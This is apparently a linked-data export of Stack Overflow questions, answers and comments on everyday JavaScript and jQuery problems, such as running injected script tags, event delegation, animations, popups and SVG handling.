has body: i have python app that passes html to page as part of a json payload. what i am trying to do in that page is to decode the html and dynamically add it to the DOM. the html markup is for a Div element with child script elements. this is my code, which prints out the decoded HTML fine, but does not actually execute the script: If however i take that html that is logged in the above code and create a page out of it, it works fine with the script executing as it should. this is what the decoded html looks like and what i am hoping to dynamically add to the parent div: What am i doing wrong here?
type: Question
upvote count: 4
has comment: http://stackoverflow.com/comment/40464589
tagged with: javascript
tagged with: jquery
answer count: 6
score: 4
has answer: http://stackoverflow.com/a/26110910
has answer: http://stackoverflow.com/a/25997061

http://stackoverflow.com/q/25834399
has answer: http://stackoverflow.com/a/25978571
type: Question
score: 3
has body: In a UIWebView in iOS, there are divs in an iframe that gets queried. For each div, I extract attributes and the top, bottom, left, right, width, height of the div. &lt;div class="x" id="1234" data-type="web" data-href="http://x.com/foo?bar=z"&gt;&lt;/div&gt; JS: var divs = iframe['contentDocument'].getElementsByClassName('x'); return [].map.call(divs, function (div) { return _.extend(div.getBoundingClientRect(), { id: div['id'], href: div['dataset']['href'], type: div['dataset']['type'] }); This works fine in iOS 6 and iOS 7 and all data is present including the sizing data from getBoundingClientRect. In iOS 8 the getBoundingClientRect is only returning an empty object, yet the div's id and dataset fields are returned. Any ideas why or how to get it working?
tagged with: ios8
has comment: http://stackoverflow.com/comment/40493530
has comment: http://stackoverflow.com/comment/40498642
has title: getBoundingClientRect not returning sizing info iOS8
has comment: http://stackoverflow.com/comment/40450394
answer count: 1
downvote count: 0
tagged with: javascript
has comment: http://stackoverflow.com/comment/40494590
tagged with: uiwebview
favorite count: 0
has comment: http://stackoverflow.com/comment/40453085
upvote count: 3
type: UnansweredQuestion

http://stackoverflow.com/comment/40321935
type: Comment
comment on: http://stackoverflow.com/a/25781398
type: AnswerComment
has text: updated the answer, and if this is a school task or something i think you are misunderstanding the `redraw table` part
score: 0

http://stackoverflow.com/comment/40327893
type: QuestionComment
has text: Please post your code, not just a jsfiddle link.
comment on: http://stackoverflow.com/q/25785195
score: 0
type: Comment

http://stackoverflow.com/a/25821064
score: 0
has comment: http://stackoverflow.com/comment/40394019
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25820995
has body: Something like this: var select = document.getElementById('Project_cid'); // remove existing options select.innerHTML = ''; // add the new options var option, i; for (i = 0; i &lt; client.length; i++) { option = document.createElement('option'); option.text = client[i].name; option.value = client[i].cid; select.add(option); }
answers question: http://stackoverflow.com/q/25820995
type: Answer

http://stackoverflow.com/comment/40479373
has text: Thanks for pointing it out , so if li is child of div can't we remove the desired li??
type: QuestionComment
comment on: http://stackoverflow.com/q/25868230
score: 0
type: Comment

http://stackoverflow.com/q/25871311
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40485173
has comment: http://stackoverflow.com/comment/40485241
has comment: http://stackoverflow.com/comment/40485612
type: AnsweredQuestion
has body: This is the demo in jsfiddle, demo What I want is let the scrolled items('one ', 'two', 'three', '4', '5', '6', '7') automatically scroll up like the demo showed, and stop 2 sec when it's in the middle position. But in my demo, it will shack for a while after stopping in the middle position. Here is the place in my demo code for setting position. if ((x == 0) || (x % 35== 0)) { setTimeout(function () { i.top = x + 'px'; }, 1000); } else { i.top = x + 'px'; } Any one can help me? Thanks! UPDATE: The reason why I set 35 is because I found that the scrolled items are approximately in the middle position when it equals to 0, -35,-70,-105,.... But when I console all x, I found that the value of x is between (31, -251). Do you know how to find the exact position when each items are in the middle of position? Thanks!
has comment: http://stackoverflow.com/comment/40485275
upvote count: 5
has answer: http://stackoverflow.com/a/25871639
tagged with: javascript
type: Question
score: 5
has title: Javascript how to set interval time to stop scrolling
answer count: 1
downvote count: 0
favorite count: 0
has comment: http://stackoverflow.com/comment/40485277
has comment: http://stackoverflow.com/comment/40485045
accepted answer: http://stackoverflow.com/a/25871639

http://stackoverflow.com/a/25753637
accepted answer of: http://stackoverflow.com/q/25753476
has body: You're setting an event on the element that is on the page initially. After you add new elements, the new elements don't have the handler, you could add it ass you add them, but that's the best way. Use event delegation: http://jsfiddle.net/mendesjuan/4my1dhw1/ $(document).on('click', 'a.remove_field', function () { $(this).closest('p').remove(); }); That means you are listening for clicks on the whole document, but filtering for only the ones you're interested in. The second benefit is that you don't need a separate handler for each element, saving you memory The code I posted differs in behavior from what you had in that it requires that you click the x. Your code would delete when you click anywhere in the &lt;p&gt;. The reason I changed it is because there is no CSS selector that mimics what closest('p')does, that is CSS selectors do not go up the tree. However, what I have seems to make more sense, and you probably were using closest('p') only because you wanted to delete the entire &lt;p&gt;, but you can do that from inside the handler.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25753476
type: Answer
score: 3
upvote count: 3

http://stackoverflow.com/comment/40407237
has text: His point was that you should ADD 'var', just to avoid cluttering the global object.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25828451
score: 1

http://stackoverflow.com/a/25768072
upvote count: 2
has comment: http://stackoverflow.com/comment/40301046
answers question: http://stackoverflow.com/q/25767980
has body: Instead of using if($('#music').attr('class').indexOf("droppedlimusic")){ //dialog show } use: if( $("#music").hasClass('droppedlimusic') ) because if your element has another class (like, I don't know, 'playing' or 'yellow' or 'whatyouwant') $('#music').attr('class') is equal to droppedlimusic playing, which is different from droppedlimusic $( "yourdroppable item" ).droppable({ drop: function( event, ui ) { if($(this).hasClass('yourclass')){ $(this) .attr('id', "your id") .removeClass("yourclass"); } }, over: function( event, ui ) {}, out: function( event, ui ) {} }); Hope this will do the trick I don't know if you want to edit the class of the div that you drop the element on $(this) or the element that you're dropping ui.draggable
type: Answer
score: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/40298885

debugging
tags question: http://stackoverflow.com/q/25871586
tag name: debugging
tags question: http://stackoverflow.com/q/25727424
tags question: http://stackoverflow.com/q/25771363
type: Tag
tags question: http://stackoverflow.com/q/25864062
tags question: http://stackoverflow.com/q/25760237
tags question: http://stackoverflow.com/q/25753708
tags question: http://stackoverflow.com/q/25804829
tags question: http://stackoverflow.com/q/25862845
tags question: http://stackoverflow.com/q/25755873
tags question: http://stackoverflow.com/q/25850508

http://stackoverflow.com/comment/40411083
type: Comment
has text: As you can see, using **oSession.utilReplaceInResponse**, I tried to replace `+test1+test2+test3` with `blank`, but Failed. Is there any alternative method? Thank you
comment on: http://stackoverflow.com/a/25830253
score: 0
type: AnswerComment

http://stackoverflow.com/a/25807428
answers question: http://stackoverflow.com/q/25807349
type: Answer
upvote count: 4
has body: Since your anchor tags are created dynamically. You need to use event delegation. Because the elements should be present on the dom at the time of event binding. In the case of event delegation events are binded to the document or parent element which is presented on the dom $(document).on('click', "ul.yiiPager li.page a", function(e) { e.preventDefault(); alert($(this).attr('href')); loadlistData($(this).attr('href')); });
accepted answer of: http://stackoverflow.com/q/25807349
downvote count: 0
has comment: http://stackoverflow.com/comment/40368164
type: AcceptedAnswer
score: 4

http://stackoverflow.com/comment/40646447
score: 0
type: AnswerComment
has text: 3) i am watching something and some other things on page start making noises i right click on the thing i'm watching and click mute all others. 4) some tabs are open and its making lots of noise, and i am busy and don't feel like stop what i am doing, go onto search mission on that page and bother with it. But i am also not done with that page yet and don't want to close it as i am going to come back to it in 5-10 mins but don't wanna navigate to it again, and or login, etc. So i can right click on tab AND mute it from there. (There isn't a way to add items to right click context menu on tab?)
comment on: http://stackoverflow.com/a/25955193
type: Comment

http://stackoverflow.com/q/25782770
has comment: http://stackoverflow.com/comment/40323484
score: 0
has answer: http://stackoverflow.com/a/25785676
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/40324120
has comment: http://stackoverflow.com/comment/40323726
tagged with: web
has comment: http://stackoverflow.com/comment/40353509
has body: I am writing a website using an internal tool which allows the use of HTML, JavaScript, JQuery and basic Ruby on Rails. I have a popup which appears on the screen in the same manner as the one shown in this codebox: Link to codebox. Currently, this pops up every time the user loads the page. The behaviour I would like is for it to pop up for a user once, then when they navigate back to the page it should no longer display. Is it possible to achieve this? HTML : X Halp StackOverflow, I only want this to pop up once. JS : $(document).ready(function(){ //chiusura al click sulla parte scura $("#hover").click(function(){ $(this).fadeOut(); $("#popup").fadeOut(); }); //chiusura al click sul pulsante $("#close").click(function(){ $("#hover").fadeOut(); $("#popup").fadeOut(); }); });
has comment: http://stackoverflow.com/comment/40323505
tagged with: ruby-on-rails
accepted answer: http://stackoverflow.com/a/25785676
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40323753
has title: Make popup appear only once
type: Question
has comment: http://stackoverflow.com/comment/40328439
answer count: 1
has comment: http://stackoverflow.com/comment/40323582
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/comment/40374207
has text: The duoJS documentation says "To get started just write normal Javascript". There's no indication you're supposed to write in any "module format" - you just write JavaScript and DuoJS will bundle it into its own format. Your question just doesn't make sense because asking what module format you're supposed to use presupposes that there's a module format required to begin with.
comment on: http://stackoverflow.com/q/25764616
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/25872551
downvote count: 0
type: Answer
upvote count: 2
has body: It's quite a broad question. However. there are 3 main answers: For one-time fiddling, you have the power of Dev Tools at your fingertips. You can run code in the context of the page, examine and debug its own code, make realtime modifications to the DOM etc. To make a script execute every time you load some page, the traditionally used approach is Userscripts, a notion that came from Firefox. Google Chrome is able (or at least used used to be able) to handle them directly, but now most people use an extension, TamperMonkey, that runs userscripts for you. Finally, if you need more powerful tools for interacting with your browser, you have Chrome Extensions. They are, basically, JavaScript scripts empowered with access to Chrome APIs. In this context, JS code injected into pages is called Content Scripts.
answers question: http://stackoverflow.com/q/25872309
score: 2

http://stackoverflow.com/comment/40475931
has text: The expected behaviour is shown on the gif or you can test it in IE and Firefox with JSFiddle I attached. I tried to minimalize the code as much as I can. I did not want to remove dimenstions and background colors to keep it lifelike.
type: Comment
comment on: http://stackoverflow.com/q/25847390
score: 0
type: QuestionComment

http://stackoverflow.com/comment/40469034
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25861710
type: AnswerComment
has text: @user3636439 : possibly related to : http://stackoverflow.com/questions/18071379/syntaxerror-unexpected-token-n-in-chrome-console-from-angularjs

http://stackoverflow.com/comment/40394905
has text: Or at least you need some other condition to cover the case zm.scale() <= 1
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/25820757

http://stackoverflow.com/a/25741044
answers question: http://stackoverflow.com/q/25740793
has comment: http://stackoverflow.com/comment/40247536
has body: Remove the inline onchange and also you don't need to iterate on the elements. Just write one event on class "inCheckes" and pass the current element reference to your function: HTML: Fieldset 1 Red Blue Fieldset 2 Red Blue JQUERY: $(document).ready(function () { $(".inChecks").change(function () { changeDivState($(this)); }) }); FIDDLE: http://jsfiddle.net/ebwokLpf/4/
score: 0
has comment: http://stackoverflow.com/comment/40247678
type: Answer
has comment: http://stackoverflow.com/comment/40247360

http://stackoverflow.com/comment/40267302
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/25751747
type: Comment
has text: Well I'm going to stop what I am trying to do, this is a a great solution. Thanks!

http://stackoverflow.com/comment/40403750
has text: can't do it with native scroll bar. Should be able to find a scrollbar plugin for it
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25826152

http://stackoverflow.com/a/25807372
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/25807342
answers question: http://stackoverflow.com/q/25807342
type: Answer
upvote count: 4
downvote count: 0
has body: You need to delegate the event handler to work with dynamically generated elements. Event delegation allows us to attach a single event listener, to a parent element, that will fire for all descendants matching a selector, whether those descendants exist now or are added in the future. You can use on() method to delegate the handler as follows: $(document).on("click",".button",function() {}) Updated Fiddle
score: 4

http://stackoverflow.com/comment/40410647
type: Comment
type: QuestionComment
score: 0
has text: you haven't assigned any event or function to the submit or any link or action to the form, what do you expect it to do?
comment on: http://stackoverflow.com/q/25830330

http://stackoverflow.com/q/25851529
answer count: 1
accepted answer: http://stackoverflow.com/a/25851601
score: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40449028
has title: setInterval running really slow
has body: I made a website where I need to animate strings that are longer than the containing parent. This is the website: Here If you click on next, you can see multiple pages of breeders with long names, that need to animate from left to right, but this only happens after 10 or 15 seconds and it takes a long time for it to start. Now I have checked my code and this is where I create my functions: function newsTicker() { console.log('newsTicker') verifyLength(); $('.breeder').not('.short-breed-name').each(function() { var breederNameWidth = $(this).find('.breeder_name').width(); var divBreederNameWidth = $(this).find('.breeder_name_div').width(); var diff = Math.max(parseInt(breederNameWidth - divBreederNameWidth),0); // console.log('diff:',diff) $(this).find('.breeder_name').animate({ marginLeft: -diff }, 3000, function(){ $(this).animate({ marginLeft : 0 },3000) }) }) } function verifyLength() { // console.log('verifyLength') $('.breeder.visible').each(function() { // debugger var breederNameWidth = $(this).find('.breeder_name').width() + 10; var divBreederNameWidth = $(this).find('.breeder_name_div').innerWidth(); if(breederNameWidth &lt; divBreederNameWidth) { $(this).addClass('short-breed-name'); $(this).find('.breeder_name').css({'width':'100%','text-align':'center'}) } }) } And this is where I call newsTicker: function breederAnimate(){ verifyLength(); newsTicker(); setInterval(newsTicker, 1000); } Why is it so slow when my times are between 1 and 3 seconds?
type: Question
has answer: http://stackoverflow.com/a/25851601
tagged with: jquery-animate
tagged with: javascript
tagged with: jquery

http://stackoverflow.com/a/25871183
downvote count: 0
has body: You can use JavaScript here to do the job. When the checkbox is clicked and checked (because you can also check out.) a dialog will pop-up with all input-fields you want. You can change the dialog part to your desires. but this part is your main function: $(document).ready(function () { $('#chkBox').click(function () { if ($(this).is(':checked')) { // create input field } else { // if checkbox is not checked.. dont show input field } }); }); For a full demo on how to do this with a dialog, click this link and observe http://jsfiddle.net/Runman44/5vy1m233/ Notice that you will need jQuery (and jQuery UI if you want to use the dialog like me)
has comment: http://stackoverflow.com/comment/40527248
upvote count: 3
has comment: http://stackoverflow.com/comment/40488946
type: Answer
answers question: http://stackoverflow.com/q/25870898
score: 3

http://stackoverflow.com/q/25866103
has title: display gif when mousemoveon and hide it when mousemoveout
has comment: http://stackoverflow.com/comment/40475920
answer count: 1
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25866434
has body: I have two gif images, when first clicked, it should display playgif.gif image. playgif image has a map to make the menue clickable. HTML &lt;div id="container"&gt; &lt;div class="Object170" onmouseout='hidemenue(this)'&gt; &lt;img src="assets/images/playagif.gif" alt="" usemap="#planetmap"&gt; &lt;map name="planetmap"&gt; &lt;area shape="rect" coords="0,0,168,49" href="about.htm" alt="about"&gt; &lt;area shape="rect" coords="0,57,168,106" href="basics.htm" alt="basics"&gt; &lt;area shape="rect" coords="0,117,168,176" href="advanced.htm" alt="advanced"&gt; &lt;area shape="rect" coords="0,180,168,230" href="fags.htm" alt="fags"&gt; &lt;area shape="rect" coords="0,239,168,288" href="x.htm" alt="x"&gt; &lt;area shape="rect" coords="0,301,168,349" href="contact.htm" alt="contact"&gt; &lt;/map&gt; &lt;/div&gt; &lt;div class="Object181"&gt; &lt;img src="assets/images/aboutagif.gif" onmouseover='showmenue(this)' width="100px" height="200px"&gt; &lt;/div&gt; &lt;/div&gt; JavaScript function showmenue(x) { x.style.display = 'none'; var playgif = document.getElementsByClassName("Object170"); playgif[0].style.display = 'block'; console.log("hide about and display animation"); } function hidemenue(y) { y.style.display = 'none'; var playgif = document.getElementsByClassName("Object181 &gt; img"); playgif[0].style.display = 'inline-block'; console.log("hide animation and display about"); } here is the source code When I hover over playgif.gif image, it disappears again! Please tell where is the problem in my code!?
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/40475488
has comment: http://stackoverflow.com/comment/40476003
has comment: http://stackoverflow.com/comment/40475588
score: 0

http://stackoverflow.com/comment/49346380
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25867182
has text: Polymer just went 1.0 at the Google I/O conference, so it is now "ready" according to Google.

http://stackoverflow.com/comment/40308111
score: 1
has text: `us.invoke(animals, "speak")` ftw!
type: AnswerComment
comment on: http://stackoverflow.com/a/25774169
type: Comment

http://stackoverflow.com/comment/40330682
has text: Javascript is single-threaded. It has to wait, because they can't both run at once. You're not calling `alert()` in the local function, are you? That will allow the global function to run while you're responding to the popup.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25786557

http://stackoverflow.com/comment/40383555
comment on: http://stackoverflow.com/q/25815250
has text: @FelixKling I think hidden is mystery() not mystery2(), and thats what I am asking
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/q/25858141
score: 1
favorite count: 0
type: Question
tagged with: php
tagged with: wordpress
upvote count: 1
linked to: http://stackoverflow.com/q/6985976
tagged with: javascript
type: UnansweredQuestion
tagged with: jquery
has body: I am using JW Player to play videos for my site, I prefer using their HTML 5 versus Flash but occasional IE or the likes won't load and it doesn't fall back to Flash super reliably. This is also all done inside of wordpress. In the script I make the call to load either flash or html using primary: "flash" as you can see below. Loading the player... What I would like to do is have a button "Can't see the video below click Here to switch to Flash" (or vice versa). I don't mind having an entirely additional script where "flash" is the only difference. But I'm not sure how to set it up correctly. I'd rather not send them to entirely new page with the alternate video player. Thanks! I'm diving into Javascript and PHP, I'm new but enjoying learning new things.
has comment: http://stackoverflow.com/comment/40461513
has title: Button to switch between javascripts in HTML
tagged with: http://stackoverflow.com/tag/html
answer count: 0
downvote count: 0

http://stackoverflow.com/comment/40329531
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/25786127
has text: @AbdulJabbar it will work some time it is crashing.And I have created single page application.
type: Comment

http://stackoverflow.com/comment/40216755
type: AnswerComment
has text: Is the validation working? If it is try using this event.preventDefault(); instead of just returning false.
comment on: http://stackoverflow.com/a/25724614
type: Comment
score: 0

http://stackoverflow.com/comment/120990753
type: Comment
comment on: http://stackoverflow.com/a/25781815
has text: This captures the error but does not catch it, as I would expect with a try/catch block.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/40328890
score: 0
type: AnswerComment
has text: Okay - what about myapp.SaveChanges() followed by a screen refresh on the active screen?
type: Comment
comment on: http://stackoverflow.com/a/25783026

http://stackoverflow.com/comment/40233486
has text: Does the generated html end up looking something like the example I just added to my answer? Make sure that the classes are added to the rows as in my example.
comment on: http://stackoverflow.com/a/25733189
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/q/25838214
possible better answer: http://stackoverflow.com/a/57914352
has title: Bad zooming with pixi.js / WebGL
tagged with: http://stackoverflow.com/tag/html
has body: If you put some text on a pixi.js / WebGL canvas, and zoom on it, here is what happens : http://jsbin.com/qeqoneselelo/1/. The result is bad : blurred / pixelized like if we were zooming on a bitmap. Instead I would like to be able to zoom on this text, as if it was vector graphics (text actually is !), ie no blur at all, like here for example (you can zoom infinitely many times, no blur !) : http://s419743653.onlinehome.fr/things/test2.htm How to do a proper zooming on text with pixi.js ? (or, if impossible with pixi.js, with another WebGL canvas javascript toolkit ?) Here is the code I used (available only on http://jsbin.com/qeqoneselelo/1/) : var text = new PIXI.Text("Hello World", {font:"50px Arial", fill:"black"}); var scrollArea = new PIXI.DisplayObjectContainer(); scrollArea.scale.x = 10; scrollArea.scale.y = 10; scrollArea.addChild(text); stage.addChild(scrollArea);
score: 2
has answer: http://stackoverflow.com/a/57914352
type: AnsweredQuestion
tagged with: pixi.js
type: Question
tagged with: javascript
tagged with: webgl
upvote count: 2
answer count: 2
tagged with: canvas
downvote count: 0
has answer: http://stackoverflow.com/a/25859134
accepted answer: http://stackoverflow.com/a/25859134
favorite count: 0

http://stackoverflow.com/a/25813430
score: 1
answers question: http://stackoverflow.com/q/25813240
upvote count: 1
downvote count: 0
type: Answer
has body: Try this, checking against the string 'undefined' doesn't work as undefined is not a string, the string 'undefined' is when checked against typeof result. if (event.creativeId!=null || event.creativeId != undefined) JS Fiddle The typeof way would be something like this instead typeof event.creativeId !== 'undefined'

http://stackoverflow.com/comment/40294860
has text: i added the i got it
score: 0
type: Comment
comment on: http://stackoverflow.com/a/25762448
type: AnswerComment

http://stackoverflow.com/q/25722182
type: Question
answer count: 1
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25722301
favorite count: 0
has title: What is compiler? How can I make a simple ruby to javascript compiler?
has comment: http://stackoverflow.com/comment/40211993
linked to: http://stackoverflow.com/q/1669
tagged with: regex
tagged with: compiler-construction
tagged with: ruby
has comment: http://stackoverflow.com/comment/54681591
has comment: http://stackoverflow.com/comment/40212034
has comment: http://stackoverflow.com/comment/40212512
has comment: http://stackoverflow.com/comment/40212557
has comment: http://stackoverflow.com/comment/40212129
downvote count: 2
upvote count: 1
has body: WikiPedia says: A compiler is a computer program (or set of programs) that transforms source code written in a programming language (the source language) into another computer language (the target language, often having a binary form known as object code). The most common reason for wanting to transform source code is to create an executable program. Would this be called a simple ruby to javascript compiler if I convert some ruby code into javascript code. For a simple example consider this ruby code: def hello_world return 1 end So in javascript if I modify this code using regex and make it something like: function hello_world() { return 1; } and run this bit of code: eval(codeString); (I know this is a very small piece of code but I had to give a simple example) If I am being too much stupid, can anyone explain what exactly a compiler is and how can I create one?
has answer: http://stackoverflow.com/a/25722301
type: AnsweredQuestion
score: -1

http://stackoverflow.com/comment/40329432
has text: I add it earlier so that part works (var focus = d3.select("body").transition();) It's the last part of the update-function that doesn't work, which deals with the dots.
comment on: http://stackoverflow.com/a/25786183
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/comment/41491381
score: 0
type: Comment
type: QuestionComment
has text: No it doesn't answer it as it tells me to use `window.load()` which is too late when everything is loaded, I need the size before it is loaded. Why the downvotes? Surely this is a valid question?
comment on: http://stackoverflow.com/q/25727672

http://stackoverflow.com/q/25857986
has answer: http://stackoverflow.com/a/25858006
type: AnsweredQuestion
upvote count: 1
tagged with: dom
downvote count: 1
type: Question
has body: I tried this as a bookmarklet but nothing happens: javascript:(function(){window.document.getElementById(".Compose").click();}) The error condole shows this: [Error] TypeError: 'null' is not an object (evaluating 'window.document.getElementById(".Compose").click') (anonymous function) (launch, line 1) I want to do this because I use webmail only and not a mail client. My goal is to be able to copy text from a webpage and then open up a yahoo mail window, click 'compose' and paste in the object I had copied. I am trying to make a bookmarklet that will open up yahoo mail and click compose for me.Then I could manually fill in the destination address myself. Where is my syntax off? Addendum: This also fails as a bookmarklet: javascript:(function(){$(".btn-compose").click()})(); The console window does not show any errors either. However this works in the console window $(".btn-compose").click()
tagged with: javascript
accepted answer: http://stackoverflow.com/a/25858039
possible better answer: http://stackoverflow.com/a/25858006
score: 0
answer count: 3
has answer: http://stackoverflow.com/a/25859806
tagged with: email
has answer: http://stackoverflow.com/a/25858039
favorite count: 0
has title: Javascript code to "click" compose button in yahoo mail?

http://stackoverflow.com/comment/40347765
type: QuestionComment
type: Comment
has text: @Mardoxx - thanks, that article helped
score: 0
comment on: http://stackoverflow.com/q/25792323

http://stackoverflow.com/q/25828924
answer count: 6
has comment: http://stackoverflow.com/comment/40408263
has answer: http://stackoverflow.com/a/25829050
has comment: http://stackoverflow.com/comment/40407907
downvote count: 0
linked to: http://stackoverflow.com/q/14343844
tagged with: string
has answer: http://stackoverflow.com/a/35891606
has comment: http://stackoverflow.com/comment/40407919
possible better answer: http://stackoverflow.com/a/25829050
favorite count: 0
has comment: http://stackoverflow.com/comment/40407930
has answer: http://stackoverflow.com/a/25828954
has answer: http://stackoverflow.com/a/53534263
has comment: http://stackoverflow.com/comment/40408228
has comment: http://stackoverflow.com/comment/40407939
linked to: http://stackoverflow.com/q/202605
has body: Is there a better way to add x amount of white space to a string? str = "blah"; x = 4; for (var i = 0; i &lt; x; i++){ str = ' ' + str; } return str;
has title: javascript - adding white space to left of string
type: AnsweredQuestion
upvote count: 19
has answer: http://stackoverflow.com/a/70797337
has comment: http://stackoverflow.com/comment/40408315
score: 19
accepted answer: http://stackoverflow.com/a/25828954
has answer: http://stackoverflow.com/a/67745007
type: Question
has comment: http://stackoverflow.com/comment/40407958
has comment: http://stackoverflow.com/comment/40407945
tagged with: javascript

http://stackoverflow.com/comment/40415778
has text: I appreciate all the work you have done, but your demo appears broken. I cant position elements the point of this is to be fluid. What I need to do is figure out how to replace window with #main-content
type: Comment
comment on: http://stackoverflow.com/a/25832417
score: 0
type: AnswerComment

http://stackoverflow.com/a/25727359
has body: Nevermind, there was 2 error that I solved: 1) cacheIds must match templateUrl property, so stripPrefix: 'app/' was needed in the configuration as well as call the module without the app/ prefix within the test. beforeEach(module('views/directives/rzmenu.html')); 2) directive name is camelCase so the instance call was wrong, here below the correct one element = angular.element('&lt;rz-menu&gt;&lt;/rz-menu&gt;'); :)
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/55510280
has comment: http://stackoverflow.com/comment/86957957
type: Answer
accepted answer of: http://stackoverflow.com/q/25725924
upvote count: 4
answers question: http://stackoverflow.com/q/25725924
downvote count: 0
score: 4

http://stackoverflow.com/comment/40253874
score: 0
type: Comment
has text: its the parent -> iframe -> popup(opens from iframe)
comment on: http://stackoverflow.com/a/25744627
type: AnswerComment

http://stackoverflow.com/comment/40555550
comment on: http://stackoverflow.com/q/25867928
has text: @RohitJindal I see. In that case you may need to develop a custom app that has a player and counter; I don't think it's possible to get the play duration from the native player via web ...
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/25838596
has comment: http://stackoverflow.com/comment/40426131
score: 0
answer count: 3
has body: I am working on a webapp that involves adding and manipulating many html elements with javascript. Here is an example of my problem: function 1: change the text size of all 500 elements function 2: scroll to element #350 based on the location of element 350 (pixels from top). The problem is that sometimes it takes time for the css to redraw the elements at the new size, so when function 2 fires, it is not accurate and it will end up scrolling to the wrong place. function 1 works by using jquery to change the content of the &lt;style&gt;&lt;/style&gt; element in the html head. how can I make javascript wait for browser to finish drawing before firing without guessing with arbitrary timeouts?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25838939
has comment: http://stackoverflow.com/comment/40425921
type: Question
has answer: http://stackoverflow.com/a/25838685
has title: How to wait for HTML to draw before javascript function runs
tagged with: javascript
tagged with: jquery
has answer: http://stackoverflow.com/a/25838640

http://stackoverflow.com/q/25796320
type: Question
has comment: http://stackoverflow.com/comment/40348729
has comment: http://stackoverflow.com/comment/40380980
answer count: 1
has comment: http://stackoverflow.com/comment/40381888
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40356744
has title: change image to inline SVG >> to have all SVG features
has comment: http://stackoverflow.com/comment/40381734
has body: I have SVG images and I want to export their files as img then change them back to SVG .. the reason of the change is that I want to change all the rectangles colours inside the SVG images. I used a way described in How to change color of SVG image using CSS (jQuery SVG image replacement) but nothing change. I also when I see the Inspect from the browser the image is still img tag not SVG tag.. the problem is that the SVG embed inside Object .. the Object inside table cell .. the table rows created row by row using javascript I could not access the SVG rectangles to change them.. thats my problem :( it has been week trying .. when it is inline SVG I can change it but many SVGs embedding inside object I could not change them Output and here the script : for( var j=0,g=0; g < 3; j++,g++ ) { //--------- start drawing the table var table = document.getElementById("Table"); var row = document.createElement('tr'); row.id="singlerow"; // first col---- var link="http://imgh.us/A_acidus_CBS_106_47_Aspfo1_0027407.svg"; var obj = document.createElement('object'); obj.class="alphasvg"; obj.setAttribute('data',link ); obj.setAttribute('height','30px'); obj.setAttribute('width','300px'); var cell3 = row.insertCell(0); cell3.id="genemodelcell"; cell3.appendChild(obj); //insert row table.appendChild(row); }//end for loop code sample :SVG inside object inside cell
has comment: http://stackoverflow.com/comment/40348891
has comment: http://stackoverflow.com/comment/40349218
score: 0
has comment: http://stackoverflow.com/comment/40376627
has comment: http://stackoverflow.com/comment/40382063
has comment: http://stackoverflow.com/comment/40382218
tagged with: http://stackoverflow.com/tag/html
tagged with: css
has comment: http://stackoverflow.com/comment/40352193
has comment: http://stackoverflow.com/comment/40381357
accepted answer: http://stackoverflow.com/a/25815901
has comment: http://stackoverflow.com/comment/40355531
has comment: http://stackoverflow.com/comment/40380244
tagged with: http://stackoverflow.com/tag/svg
linked to: http://stackoverflow.com/q/11978995
linked to: http://stackoverflow.com/q/25772742
has comment: http://stackoverflow.com/comment/40355578
has comment: http://stackoverflow.com/comment/40379258
has answer: http://stackoverflow.com/a/25815901
has comment: http://stackoverflow.com/comment/40383979
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/40349221

http://stackoverflow.com/q/25784439
has answer: http://stackoverflow.com/a/25784887
has answer: http://stackoverflow.com/a/25784876
type: Question
answer count: 2
tagged with: javascript
score: 0
has title: how to show array element one by one on page while array is property of an object which inside of services
has body: i have this a testPaper object in Services : this.testPapers=[{ courseName: 'Languages' , moduleName: 'Arabic', paperName: 'Arabic-V', paperDate: '15/08/2014', // paperStartTime: //papertEndTime: // PaperDuration: '00:10:00', marksForEachQuestion: 5, totalMarks: 15, Question: ['Mirwaha meaning in English?','Jwwaz meaning in English?','Hafila meaning in English?'] } while the controller: .controller('questionStart',function($scope, $routeParams,$rootScope,crudService){ // $scope.allCourses= crudService.courses; // $scope.allModules=crudService.modules; $scope.allTestPapers=crudService.testPapers; } and UI Paper Name :{{p.paperName}} Total Marks:{{p.totalMarks}} Marks For Each Question: {{p.marksForEachQuestion}} Total Question: {{p.Question.length}} {{p.Question}} next now from this i want to show the Question array on the page but one by one (mean from 0 to last item but one question show at page then on button click i want to change the question). How can i do this;
tagged with: angularjs
type: UnansweredQuestion

http://stackoverflow.com/comment/40382027
has text: I fear I closed the page :/
type: Comment
comment on: http://stackoverflow.com/a/25814480
score: 0
type: AnswerComment

http://stackoverflow.com/a/25787674
type: Answer
score: 1
upvote count: 1
has body: Maybe you could use 'default' switch keyword (or add a 'Enterprise' case): $('input[type=button]').click(showLicence).each(function() { this.version = this.title; this.title = "Buy "; switch(this.version) { case 'basic': this.title += 'Basic'; break; case 'standard': this.title += 'Standard'; break; case 'business': this.title += 'Business'; break; default: window.location.href = "/contact"; } });
answers question: http://stackoverflow.com/q/25787469
